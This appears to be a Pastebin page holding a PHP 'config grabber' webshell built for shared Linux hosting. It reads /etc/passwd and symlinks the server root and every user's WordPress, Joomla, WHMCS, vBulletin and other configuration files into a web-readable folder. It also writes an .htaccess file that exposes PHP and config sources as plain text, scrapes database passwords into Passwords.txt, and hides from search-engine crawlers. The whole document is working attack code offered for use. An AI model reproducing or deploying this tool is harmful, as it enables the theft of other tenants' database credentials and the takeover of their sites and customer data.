Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(0);
- @set_time_limit(0);
- if(!empty($_SERVER['HTTP_USER_AGENT'])) {
- $bot = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler", "Yahoo");
- if(preg_match('/' . implode('|', $bot) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
- header('HTTP/1.0 404 Not Found');
- exit;
- }
- }
- echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- <head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
- <meta name="robots" content="noindex,nofollow" />
- <title>Config Grabber | Slackercode Priv8 Tool</title>
- <link rel="SHORTCUT ICON" href="http://s25.postimg.org/4bzq9e2jv/slackercodeico.png"/>
- <style type="text/css">
- body {
- background-color: #000000;
- text-align: left;
- color: #59E817;
- }
- </style>
- <head>
- <body>';
- if(strtolower(substr(PHP_OS, 0, 3)) == "win"){
- echo '<script>alert("Skid this won\'t work on Windows")</script>';
- exit;
- }
- else
- {
- if($_POST["m"] && !$_POST["passwd"]==""){
- @mkdir("slackerc0de", 0777);
- @chdir("slackerc0de");
- @symlink("/","root");
- $htaccess="
- Options all
- Options +Indexes
- Options +FollowSymLinks
- DirectoryIndex india.html
- AddType text/plain .php
- AddHandler server-parsed .php
- AddType text/plain .html
- AddHandler txt .html
- AddType text/plain .conf
- AddType text/plain .sql
- AddType text/plain .log
- Require None
- Satisfy Any";
- @file_put_contents(".htaccess",$htaccess);
- $etc_passwd=$_POST["passwd"];
- $etc_passwd=explode("\n",$etc_passwd);
- foreach($etc_passwd as $passwd){
- $pawd=explode(":",$passwd);
- $user =$pawd[0];
- @symlink('/','slackerc0de/root');
- @symlink('/home/'.$user.'/public_html/sites/default/settings.php',$user.'-Drupal.txt');
- @symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
- @symlink('/home/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
- @symlink('/home/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
- @symlink('/home/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
- @symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
- @symlink('/home/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
- @symlink('/home/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
- @symlink('/home/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
- @symlink('/home/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
- @symlink('/home/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
- @symlink('/home/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
- }
- //password grab
- function entre2v2($text,$marqueurDebutLien,$marqueurFinLien)
- {
- $ar0=explode($marqueurDebutLien, $text);
- $ar1=explode($marqueurFinLien, $ar0[1]);
- $ar=trim($ar1[0]);
- return $ar;
- }
- $ffile=fopen('Passwords.txt','a+');
- $r= 'http://'.$_SERVER['SERVER_NAME'].dirname($_SERVER['SCRIPT_NAME'])."/slackerc0de/";
- $re=$r;
- $confi=array("-Wordpress.txt","-Joomla.txt","-WHMCS.txt","-Vbulletin.txt","-Other.txt","-Zencart.txt","-Hostbills.txt","-SMF.txt","-Drupal.txt","-OsCommerce.txt","-MyBB.txt","-PHPBB.txt","-IPB.txt","-BoxBilling.txt");
- $users=file("/etc/passwd");
- foreach($users as $user)
- {
- $str=explode(":",$user);
- $usersss=$str[0];
- foreach($confi as $co)
- {
- $uurl=$re.$usersss.$co;
- $uel=$uurl;
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, $uel);
- curl_setopt($ch, CURLOPT_HEADER, 1);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8');
- $result['EXE'] = curl_exec($ch);
- curl_close($ch);
- $uxl=$result['EXE'];
- if($uxl && preg_match('/table_prefix/i',$uxl))
- {
- //Wordpress
- $dbp=entre2v2($uxl,"DB_PASSWORD', '","');");
- if(!empty($dbp))
- $pass=$dbp."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/cc_encryption_hash/i',$uxl))
- {
- //WHMCS
- $dbp=entre2v2($uxl,"db_password = '","';");
- if(!empty($dbp))
- $pass=$dbp."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/dbprefix/i',$uxl))
- {
- //Joomla
- $db=entre2v2($uxl,"password = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/admincpdir/i',$uxl))
- {
- //Vbulletin
- $db=entre2v2($uxl,"password'] = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/DB_DATABASE/i',$uxl))
- {
- //Other
- $db=entre2v2($uxl,"DB_PASSWORD', '","');");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/dbpass/i',$uxl))
- {
- //Other
- $db=entre2v2($uxl,"dbpass = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/dbpass/i',$uxl))
- {
- //Other
- $db=entre2v2($uxl,"dbpass = '","';");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- elseif($uxl && preg_match('/dbpass/i',$uxl))
- {
- //Other
- $db=entre2v2($uxl,"dbpass = \"","\";");
- if(!empty($db))
- $pass=$db."\n";
- fwrite($ffile,$pass);
- }
- }
- }
- echo "<center>
- <a href=\"slackerc0de/root/\">./Server root</a>
- <br><a href=\"slackerc0de/Passwords.txt\">./Passwords</a>
- <br><a href=\"slackerc0de/\">./Configurations</a></center>";
- }
- else
- {
- echo "<center>
- <form method=\"POST\">
- <textarea name=\"passwd\" style=\"border:1px dotted #59E817; width: 543px; height: 420px; background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817\">";
- $file = '/etc/passwd';
- $read = @fopen($file, 'r');
- if ($read){
- $body = @fread($read, @filesize($file));
- echo "".htmlentities($body)."";
- }
- elseif(!$read)
- {
- $read = @show_source($file) ;
- }
- elseif(!$read)
- {
- $read = @highlight_file($file);
- }
- elseif(!$read)
- {
- for($uid=0;$uid<1000;$uid++)
- {
- $ara = posix_getpwuid($uid);
- if (!empty($ara))
- {
- while (list ($key, $val) = each($ara))
- {
- print "$val:";
- }
- print "\n";
- }}}
- flush();
- echo "</textarea>
- <p><input name=\"m\" size=\"80\" value=\"Start\" type=\"submit\" style=\"border:1px dotted #59E817; width: 99; font-family:Tahoma; font-size:10pt; color:#59E817; text-transform:uppercase; height:23; background-color:#0C0C0C\"/></p>
- </form></center>";
- }
- echo "</body>
- </html>";
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement